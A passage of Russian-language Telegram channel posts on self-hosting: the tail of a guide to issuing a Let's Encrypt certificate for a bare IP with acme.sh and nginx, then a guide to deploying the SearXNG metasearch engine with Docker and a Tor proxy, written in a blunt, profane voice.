acme.sh --install-cert -d 178.72.129.181 --key-file /etc/nginx/ssl/ip.key --fullchain-file /etc/nginx/ssl/ip.crt --ca-file /etc/nginx/ssl/ip.ca.crt --reloadcmd "systemctl restart nginx"


Добавляем дополнительный блок в default в nginx:

server {
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
server_name _;
return 403;
ssl_certificate /etc/nginx/ssl/ip.crt;
ssl_certificate_key /etc/nginx/ssl/ip.key;
}


Перезапускаем:

nginx -t
nginx -s reload


И радуемся, теперь у тебя есть валидный SSL на голом айпишнике:

Общее имя (ЦС)  YE1
Организация Let's Encrypt
Дата выдачи: 29 января 2026 г.
Срок действия: 5 февраля 2026 г.


Дело в шляпе, что сказать? Пиздато! Порой ОЧЕНЬ не хочется привязывать домен, чтобы обзавестись SSL сертификатом, теперь выход есть. Глядишь найдется хак, чтобы сгенерить подобное для 192.168.0.1, но наверное это из оперы моих влажных фантазий.

🛠 #linux #devops #ssl

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
137
Поднимаем свой поисковик или Fuck The Google!

Продолжаем тему приватности. Кто не в курсе, пару недель назад я отказался от гугла и его сервисов, по некоторым причинам, ну и чтобы бороться с зависимостью я активно переезжаю на проверенные opensource решения.

На этот раз я залез в кроличью нору, отказавшись от поисковиков. Ну как отказавшись, я поднял свой поисковик, который конфиденциально делает запросы в 100500 выбранных тобой поисковиков и агрегирует результаты.

Всё это дело в два клика поднимается как self-hosted, отлично работает с проксями и луковичной маршрутизацией. Как говорится — полный фарш.

Проект называется: SearXNG.

По началу я отнесся к этому решению скептически, но потыкав более вдумчиво мне зашло, зачетная аще штука. Работает быстро, уверенно, выдает релевантную информацию и выглядит очень достойно. Кто бы мог подумать, 25к звезд на гитхабе.

Ну и дополнительно, ребята из нижнего мира активно пользуются этой штуковиной.

Хотя сейчас большинство давно уже переехали в ИИ и задают поисковые вопросы именно там, но все же иногда рука тянется поискать самостоятельно. Сливать в ИИ теже запросы, тоже такое себе, хотя всем плевать.


Композ файл выглядит так:

services:
searxng:
image: searxng/searxng:latest
container_name: searxng
restart: unless-stopped
networks:
- searxng_net
ports:
- "8080:8080"
volumes:
- ./searxng:/etc/searxng
environment:
- SEARXNG_SECRET_KEY=1234567890
read_only: true
tmpfs:
- /tmp
- /etc/ssl/certs
cap_drop:
- ALL
cap_add:
- CHOWN
- SETGID
- SETUID
security_opt:
- no-new-privileges:true

networks:
searxng_net:
driver: bridge


Конфиг ./searchxng/settings.yml:

use_default_settings: true

server:
bind_address: 0.0.0.0
port: 8080
limiter: false
secret_key: "1234567890"
public_instance: false

outgoing:
request_timeout: 3.0
proxies:
http: socks5h://user:password@127.0.0.1:9050
https: socks5h://user:password@127.0.0.1:9050

engines:
- name: ahmia
disabled: true
- name: torch
disabled: true
- name: duckduckgo
disabled: true
- name: startpage
disabled: true


Обращаем внимание на SEARXNG_SECRET_KEY и secret_key они должны быть одинаковыми. Остальное интуитивно понятно. Да, еще если не нужна прокся, можешь закомментировать блок proxies, но рекомендую оставить, воткнуть луковицу либо приобрести быстрые socks5, либо поднять свои.

Запускаем по классике. Заходим в браузере <IP>:8080 и наслаждаемся. Через морду можно покрутить настройки, которых там жопой ешь. Следом прикручивается домен, SSL, basic auth. И по итогу имеешь свой независимый поисковик, без телеметрии и слежки.

Для рядового пользователя это скорее игрушка, но у кого повышенная тревожность вполне зайдёт, тем более с поставленными задачами SearXNG отлично справляется.

Из минусов, не все поисковики лояльны, кто-то может запрашивать капчу, но на это есть официальное решение. Я его не пробовал, мне пока достаточно тех что у меня подключены сейчас.

И да если думаешь что DuckDuckGo панацея — неа, это компания в мудацкой стране под названием США, которая по первому запросу, сольет про тебя всё что на тебя есть, без зазрения совести. Потому что любая компания в США (CLOUD Act) по запросу суда, должна предоставить такие данные.

Если вы ищете что-то через DuckDuckGo, у компании нет вашего IP + истории запросов, чтобы связать эти запросы с вашей личностью. И поэтому даже если есть официальный запрос от ФБР, DuckDuckGo не сможет передать то, чего не хранит.


Не ведись на такое, это ПИЗДЁШЬ! Всё у них есть, не так много как у гугла, но есть, чтобы тебе смогли подвести писю к носу.

Век живи, век учись!

🛠 #security #privacy

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
36